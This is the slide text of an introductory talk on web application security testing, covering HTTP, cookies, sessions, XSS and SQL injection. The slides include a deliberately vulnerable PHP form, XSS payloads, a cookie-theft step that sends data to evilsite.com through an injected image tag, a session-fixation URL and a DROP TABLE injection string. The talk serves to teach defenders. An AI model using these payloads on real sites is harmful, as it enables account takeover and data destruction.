Downloaded 15 times
![Simplest possible app
<html>
Data is: <form>
<input name=”foo” value=”<?php echo
$_GET['foo'] ?>” />
<input type=”submit” />
</form>
</html>](https://image.slidesharecdn.com/webappsecuritytesting-120902081209-phpapp02/75/Webapp-security-testing-80-2048.jpg)
![FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”](https://image.slidesharecdn.com/webappsecuritytesting-120902081209-phpapp02/75/Webapp-security-testing-84-2048.jpg)
![FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”
• Golden rule - never ever accept input
without validating it’s sane](https://image.slidesharecdn.com/webappsecuritytesting-120902081209-phpapp02/75/Webapp-security-testing-85-2048.jpg)
![FAIL
• Did you spot the epic fail?
• value=”<?php echo $_GET['foo'] ?>”
• Golden rule - never ever accept input
without validating it’s sane
• Golden rule - never ever output anything
that may have come from external input
without encoding it](https://image.slidesharecdn.com/webappsecuritytesting-120902081209-phpapp02/75/Webapp-security-testing-86-2048.jpg)
![Javascript
• Is where it all goes really wrong
• Can change or rewrite the page
• Can be inserted inline into HTML
• foo="><script>document.removeChild(doc
ument.getElementsByTagName('html')[0])<
%2Fscript>](https://image.slidesharecdn.com/webappsecuritytesting-120902081209-phpapp02/75/Webapp-security-testing-95-2048.jpg)
Uploaded byTomas Doran
Webapp security testing
This document provides an overview of a talk on fundamentals of web application security and security testing. The talk will last about an hour and cover basic topics like HTTP, host headers, cookies, sessions, cross-site scripting (XSS), and SQL injection. It will also discuss tools for security testing and provide examples of how to test for and exploit vulnerabilities. The talk is aimed at beginners and assumes some familiarity with HTML and the internet. A follow-up workshop on Sunday will allow for deeper practical discussion driven by participants.
More Related Content
![[092 2016-minedu]-[15-07-2016 11 29-53]-rvm n° 092-2016-minedu](https://cdn.slidesharecdn.com/ss_thumbnails/092-2016-minedu-15-07-2016112953-rvmn092-2016-minedu-160716213126-thumbnail.jpg?width=640&height=640&fit=bounds)
Similar to Webapp security testing
![Coded Agents – with UiPath SDK + LangGraph [Virtual Hands-on Workshop]](https://cdn.slidesharecdn.com/ss_thumbnails/codedagentsdeck-251215155422-5497c599-thumbnail.jpg?width=640&height=640&fit=bounds)
Webapp security testing
- 1. Fundamentals of web applicationsecurity & security testing t0m <bobtfish@bobtfish.net>
- 2. Who are you? •Open source hacker • github.com/bobtfish/ • Perl guy (sorry) - 160 CPAN modules • Core team for Catalyst and Plack web frameworks. • Ex professional security tester / R&D
- 3.
- 4. This talk • ~1h long
- 5. This talk • ~1h long • Covers the very basics • HTTP • Host headers • Cookies
- 6. This talk • ~1h long • Covers the very basics • HTTP • Host headers • Cookies • Tools • Paros / Charles / etc
- 8. • Sessions •Session fixation attacks
- 9. • Sessions •Session fixation attacks • XSS (General HTML injection) • How to test • How to exploit
- 10. • Sessions •Session fixation attacks • XSS (General HTML injection) • How to test • How to exploit • SQL Injection
- 11.
- 12. • NOT comprehensive. •JUST the basics.
- 13. You don’t needto be a programmer
- 14. You don’t needto be a programmer • I’m going to assume you know a bit about the internet
- 15. You don’t needto be a programmer • I’m going to assume you know a bit about the internet • And that you’ve at least seen HTML before.
- 16.
- 17. Workshop on Sunday •No schedule - made by you!
- 18. Workshop on Sunday •No schedule - made by you!
- 19. Workshop on Sunday •No schedule - made by you! • Deeper and more practical discussion
- 20.
- 21. HTML • The markupformat that web pages are written in.
- 22. HTML • The markupformat that web pages are written in. • I’m just assuming you all know the basics
- 23. HTML • The markupformat that web pages are written in. • I’m just assuming you all know the basics • Sorry if you don’t ;P
- 24. HTML • The markupformat that web pages are written in. • I’m just assuming you all know the basics • Sorry if you don’t ;P • Can almost always be sloppy - browser tries to do the right thing.
- 25. HTTP - Thevery basics
- 26. HTTP - Thevery basics • HTTP goes over TCP/IP
- 27. HTTP - Thevery basics • HTTP goes over TCP/IP • Reliable, ordered
- 28. HTTP - Thevery basics • HTTP goes over TCP/IP • Reliable, ordered • Host and port
- 29. HTTP - Thevery basics • HTTP goes over TCP/IP • Reliable, ordered • Host and port • Request / Response
- 30. HTTP - Thevery basics • HTTP goes over TCP/IP • Reliable, ordered • Host and port • Request / Response • URL
- 31. HTTP - Thevery basics • HTTP goes over TCP/IP • Reliable, ordered • Host and port • Request / Response • URL • Method
- 32.
- 33. Request / Response •You ask the sever for some data
- 34. Request / Response •You ask the sever for some data • It does some work
- 35. Request / Response •You ask the sever for some data • It does some work • And serves you a response, possibly including data, called a ‘body’
- 36.
- 37. Dynamic • The responsecould just be a file on disc
- 38. Dynamic • The responsecould just be a file on disc • HTML, image, etc
- 39. Dynamic • The responsecould just be a file on disc • HTML, image, etc • We’re interested about when it’s dynamic - i.e. when your input changes the HTML output.
- 40. GET / HTTP/1.0 HTTP/1.1200 OK Date: Wed, 29 Aug 2012 21:47:59 GMT Server: Apache Last-Modified: Wed, 27 Jul 2011 10:18:21 GMT ETag: "1c888b-0-4a90a5e239540" Accept-Ranges: bytes Content-Length: 0 Vary: Accept-Encoding Connection: close Content-Type: text/html X-Pad: avoid browser bug
- 41.
- 42. GET / HTTP/1.0 •Simplest possible HTTP request
- 43. GET / HTTP/1.0 •Simplest possible HTTP request • Method - GET
- 44. GET / HTTP/1.0 •Simplest possible HTTP request • Method - GET • URL /
- 45. GET / HTTP/1.0 •Simplest possible HTTP request • Method - GET • URL / • HTTP version
- 46. GET / HTTP/1.0 •Simplest possible HTTP request • Method - GET • URL / • HTTP version • Followed by rnrn
- 47. GET / HTTP/1.0 •Headers optional after first line
- 48. GET / HTTP/1.0 •Headers optional after first line • Body can be supplied after rnrn if you specify a non-zero content length
- 49. GET / HTTP/1.0 •Headers optional after first line • Body can be supplied after rnrn if you specify a non-zero content length • There will be examples of this later
- 50.
- 51. HTTP/1.1 200 OK •Always the first line of the response
- 52. HTTP/1.1 200 OK •Always the first line of the response • We asked for 1.0, got 1.1 back
- 53. HTTP/1.1 200 OK •Always the first line of the response • We asked for 1.0, got 1.1 back • 200 is response code. • 2xx - Success • 3xx - Redirect • 4xx - User error • 5xx - Server error
- 54. Date: Wed, 29Aug 2012 21:47:59 GMT • Other headers now follow. All in format: Key:Value • Date: RFC822 • Optional
- 55. Server: Apache • Sometimeshas exact versions and extensions • Easy to lie • Optional
- 56. Last-Modified: Wed, 27 Jul2011 10:18:21 GMT • Used for caching (maybe) • Optional
- 57. ETag: "1c888b-0-4a90a5e239540" • Used forcaching (maybe) • Optional
- 58. Accept-Ranges: bytes • ‘PartialGET’ • Ask for a byte range in the file • Get back just that part • Used by ‘download managers’ to resume • Optional
- 59. Content-Length: 0 • Mandatory! •Specifies how long the body is • Can be 0
- 60. Vary: Accept-Encoding • Forcaching • What header fields mean a different version of the document • E.g. language detection • Optional
- 61. Connection: close • Serveris going to drop the connection, you have to reconnect. • Possible to keep the connection persistent, if you ask for it
- 62. Content-Type: text/html • How the browser should interpret the body • Mandatory for documents with a body
- 63. HTTP 1.1 • Addsa mandatory Host header to the request • Allows > 1 web site per IP address
- 64. GET / HTTP/1.1 Host:goatse.co.uk HTTP/1.1 200 OK Date: Wed, 29 Aug 2012 21:49:49 GMT Server: Apache Last-Modified: Wed, 27 Jul 2011 10:18:21 GMT ETag: "1c888b-0-4a90a5e239540" Accept-Ranges: bytes Content-Length: 0 Vary: Accept-Encoding Connection: close Content-Type: text/html X-Pad: avoid browser bug
- 65. Sending data tothe server
- 66. Sending data tothe server • Encode it into the URI
- 67. Sending data tothe server • Encode it into the URI • /with/a/path
- 68. Sending data tothe server • Encode it into the URI • /with/a/path • /?or=parameters
- 69.
- 70. POST • Used tosend data back to the server
- 71. POST • Used tosend data back to the server • Content-Type: application/x-www-form- urlencoded
- 72. POST • Used tosend data back to the server • Content-Type: application/x-www-form- urlencoded • Has a Content-Length, and a body
- 73. POST • Used tosend data back to the server • Content-Type: application/x-www-form- urlencoded • Has a Content-Length, and a body • Data is encoded like this: foo=bar&foo2=baz
- 74. POST POST / HTTP/1.1 Host:www.example.com Content-Length: 17 Content-Type: application/x-www-form-urlencoded foo=bar&foo2=quux
- 75. Forms • HTML formsare the primary means of getting user data to the server • Data is in the body, not the URL, so they don’t get saved in bookmarks • <form> tag • <input> tag
- 76. Ok - basicscovered!
- 77. Ok - basicscovered! • Phew!
- 78. Ok - basicscovered! • Phew! • Lets put all this stuff together - into an application.
- 79. Ok - basicscovered! • Phew! • Lets put all this stuff together - into an application. • And then hack it.
- 80. Simplest possible app <html> Datais: <form> <input name=”foo” value=”<?php echo $_GET['foo'] ?>” /> <input type=”submit” /> </form> </html>
- 81. http://server/test.php? foo=foo
- 82.
- 83. FAIL • Did youspot the epic fail?
- 84. FAIL • Did youspot the epic fail? • value=”<?php echo $_GET['foo'] ?>”
- 85. FAIL • Did youspot the epic fail? • value=”<?php echo $_GET['foo'] ?>” • Golden rule - never ever accept input without validating it’s sane
- 86. FAIL • Did youspot the epic fail? • value=”<?php echo $_GET['foo'] ?>” • Golden rule - never ever accept input without validating it’s sane • Golden rule - never ever output anything that may have come from external input without encoding it
- 87.
- 88. WHY? • You cansend: ?foo="><blink>Foo< %2Fblink>
- 89. WHY? • You cansend: ?foo="><blink>Foo< %2Fblink> • Comes out as: <input name="foo" value=""><blink>Foo</blink>
- 90. WHY? • You cansend: ?foo="><blink>Foo< %2Fblink> • Comes out as: <input name="foo" value=""><blink>Foo</blink> • You just added HTML to the document - fail!
- 91.
- 92. Javascript • Is whereit all goes really wrong
- 93. Javascript • Is whereit all goes really wrong • Can change or rewrite the page
- 94. Javascript • Is whereit all goes really wrong • Can change or rewrite the page • Can be inserted inline into HTML
- 95. Javascript • Is whereit all goes really wrong • Can change or rewrite the page • Can be inserted inline into HTML • foo="><script>document.removeChild(doc ument.getElementsByTagName('html')[0])< %2Fscript>
- 96.
- 97.
- 98. Less simple example •Add data storage
- 99. Less simple example •Add data storage • E.g. Message board multiple people can look at
- 100. Less simple example •Add data storage • E.g. Message board multiple people can look at • Doom!
- 101. Less simple example •Add data storage • E.g. Message board multiple people can look at • Doom! • Or at least vandalism
- 102.
- 103. More theory • Sorry,but it’s necessary
- 104. More theory • Sorry,but it’s necessary • People’s credit card numbers are behind login pages
- 105. More theory • Sorry,but it’s necessary • People’s credit card numbers are behind login pages • So we have to understand how logins work to steal them
- 106.
- 107.
- 108.
- 109.
- 110.
- 111.
- 112.
- 113.
- 114. Set-Cookie • A requestheader
- 115. Set-Cookie • A requestheader • Set-Cookie: foo=bar
- 116. Set-Cookie • A requestheader • Set-Cookie: foo=bar • Set-Cookie: foo=bar; expires=Thu, 01- Jan-1970 00:01:40 GMT; path=/; domain=example.net
- 117. Affects subsequent requests Browser returns “Cookie: foo=bar” header
- 118.
- 119. Sessions • Hand eachvisitor a random session token, identify them in future
- 120. Sessions • Hand eachvisitor a random session token, identify them in future • Login credentials only transmitted once
- 121. Sessions • Hand eachvisitor a random session token, identify them in future • Login credentials only transmitted once • Allows login to be SSL (and rest of site not)
- 122.
- 123.
- 124. Sessions • Shared secret •If it stops being a secret, you lose!
- 125.
- 126. Stealing cookies • Canget cookie data from javascript
- 127. Stealing cookies • Canget cookie data from javascript • If we find an HTML injection vulnerability, we can run code that grabs the cookie
- 128. Stealing cookies • Canget cookie data from javascript • If we find an HTML injection vulnerability, we can run code that grabs the cookie • “Same origin policy” - cannot transmit elsewhere.
- 129. Stealing cookies • Canget cookie data from javascript • If we find an HTML injection vulnerability, we can run code that grabs the cookie • “Same origin policy” - cannot transmit elsewhere. • Cheat! Add content to the document.
- 130.
- 131.
- 132. Lets step throughthat • Message board site gives users a cookie when they login
- 133. Lets step throughthat • Message board site gives users a cookie when they login • Cookie contains session token
- 134. Lets step throughthat • Message board site gives users a cookie when they login • Cookie contains session token • You post an evil message containing Javascript
- 135. Lets step throughthat • Message board site gives users a cookie when they login • Cookie contains session token • You post an evil message containing Javascript • Other users view your message
- 136.
- 137. Lets step throughthat • Other user’s browsers execute your javascript
- 138. Lets step throughthat • Other user’s browsers execute your javascript • It grabs their cookie
- 139. Lets step throughthat • Other user’s browsers execute your javascript • It grabs their cookie • Adds to their page: <img src=”http:// evilsite.com/?data=cookie_data” />
- 140. Lets step throughthat • Other user’s browsers execute your javascript • It grabs their cookie • Adds to their page: <img src=”http:// evilsite.com/?data=cookie_data” /> • Users browser tries to download image
- 141.
- 142. Lets step throughthat • evilsite.com records the cookie
- 143. Lets step throughthat • evilsite.com records the cookie • evilsite.com serves a 1px x 1px transparent gif
- 144. Lets step throughthat • evilsite.com records the cookie • evilsite.com serves a 1px x 1px transparent gif • I can now post messages as any (still logged in) user who viewed my message.
- 145. Lets step throughthat • evilsite.com records the cookie • evilsite.com serves a 1px x 1px transparent gif • I can now post messages as any (still logged in) user who viewed my message. • Having the users’s cookie allows you to become the user
- 146. Did you noticethe handwave?
- 147. Did you noticethe handwave? • I need a way to get your cookie into my browser
- 148. Did you noticethe handwave? • I need a way to get your cookie into my browser • This is easy to do - find a proxy library in your favourite programming language ;P
- 149. Did you noticethe handwave? • I need a way to get your cookie into my browser • This is easy to do - find a proxy library in your favourite programming language ;P • Or tools you can just download
- 150.
- 151. Session fixation • Quitea common bug
- 152. Session fixation • Quitea common bug • Allows you to specify the session ID you’d like
- 153. Session fixation • Quitea common bug • Allows you to specify the session ID you’d like • Useful for abusing XSS elsewhere
- 154. Session fixation • Quitea common bug • Allows you to specify the session ID you’d like • Useful for abusing XSS elsewhere • Also good to steal logins without needing XSS.
- 155. Session fixation • Quitea common bug • Allows you to specify the session ID you’d like • Useful for abusing XSS elsewhere • Also good to steal logins without needing XSS. • /?sessionID=XXXXXXXXXXX
- 156.
- 157. Tools - Paros •http://www.parosproxy.org/
- 160. Tools - Charles •OSX only • Costs money (free trial)
- 162.
- 163. Tools - Firebug •Firefox addon
- 164. Tools - Firebug •Firefox addon • Allows you to debug javascript and HTML
- 165. Tools - Firebug •Firefox addon • Allows you to debug javascript and HTML • Useful for getting exploits working in combination with another tool
- 167.
- 168. SQL Injection • SQLused by databases, for data storage
- 169. SQL Injection • SQLused by databases, for data storage • Tables, with columns and rows
- 170. SQL Injection • SQLused by databases, for data storage • Tables, with columns and rows • SELECT id, name FROM users WHERE name = ‘fred’ AND password = ‘example’;
- 171. SQL Injection • SQLused by databases, for data storage • Tables, with columns and rows • SELECT id, name FROM users WHERE name = ‘fred’ AND password = ‘example’; • SAME ISSUE AS BEFORE
- 172.
- 173. SELECT id, nameFROM users WHERE name = ‘Robert'); DROP TABLE Students;--’ AND password = ‘example’;
- 174. First query. No passwordneeded! SELECT id, name FROM users WHERE name = ‘Robert'); DROP TABLE Students;--’ AND password = ‘example’;
- 175. Second query. Ruins your day! SELECT id, name FROM users WHERE name = ‘Robert'); DROP TABLE Students;--’ AND password = ‘example’;
- 176. Comment - ignored! SELECTid, name FROM users WHERE name = ‘Robert'); DROP TABLE Students;--’ AND password = ‘example’;
- 177.
- 178. Golden Rules • Neverever accept input without validating it’s sane.
- 179. Golden Rules • Neverever accept input without validating it’s sane. • Never ever output anything that may have come from external input without encoding it.
- 180. Thanks for listening! •Hope that wasn’t too boring :) • Feel free to come chat to me. • Or mail me: bobtfish@bobtfish.net • Or grab me on irc: t0m on Freenode • More in-depth workshop on Sunday!
Editor's Notes
- #2 \n
- #3 \n
- #4 \n
- #5 \n
- #6 \n
- #7 \n
- #8 \n
- #9 \n
- #10 \n
- #11 \n
- #12 \n
- #13 \n
- #14 \n
- #15 \n
- #16 \n
- #17 \n
- #18 \n
- #19 \n
- #20 \n
- #21 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #22 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #23 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #24 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #25 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #26 TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
- #27 \n
- #28 \n
- #29 \n
- #30 \n
- #31 \n
- #32 \n
- #33 \n
- #34 \n
- #35 \n
- #36 \n
- #37 \n
- #38 \n
- #39 \n
- #40 \n
- #41 \n
- #42 \n
- #43 \n
- #44 \n
- #45 \n
- #46 \n
- #47 \n
- #48 \n
- #49 \n
- #50 \n
- #51 \n
- #52 \n
- #53 \n
- #54 Add a mandatory &#x2018;Host&#x2019; header\nWe have run out of IP addresses - this means you can have multiple sites per IP\n
- #55 \n
- #56 \n
- #57 \n
- #58 \n
- #59 \n
- #60 \n
- #61 \n
- #62 \n
- #63 \n
- #64 \n
- #65 \n
- #66 \n
- #67 \n
- #68 \n
- #69 \n
- #70 \n
- #71 \n
- #72 \n
- #73 \n
- #74 \n
- #75 \n
- #76 \n
- #77 \n
- #78 \n
- #79 \n
- #80 \n
- #81 \n
- #82 \n
- #83 \n
- #84 \n
- #85 \n
- #86 \n
- #87 \n
- #88 \n
- #89 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #90 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #91 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #92 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #93 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #94 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #95 Set-Cookie\nCookie\nDomain / Path / Secure\n
- #96 \n
- #97 \n
- #98 \n
- #99 \n
- #100 \n
- #101 \n
- #102 \n
- #103 \n
- #104 \n
- #105 \n
- #106 \n
- #107 \n
- #108 \n
- #109 \n
- #110 \n
- #111 \n
- #112 \n
- #113 \n
- #114 \n
- #115 \n
- #116 \n
- #117 \n
- #118 \n
- #119 \n
- #120 \n
- #121 \n
- #122 \n
- #123 \n
- #124 \n
- #125 \n
- #126 \n
- #127 \n
- #128 \n
- #129 \n
- #130 \n
- #131 \n
- #132 \n
- #133 \n
- #134 \n
- #135 \n
- #136 \n
- #137 \n
- #138 \n
- #139 \n
- #140 \n
- #141 \n
- #142 \n
- #143 \n
- #144 \n
- #145 \n
- #146 \n
- #147 \n
- #148 \n
- #149 \n
- #150 \n
- #151 \n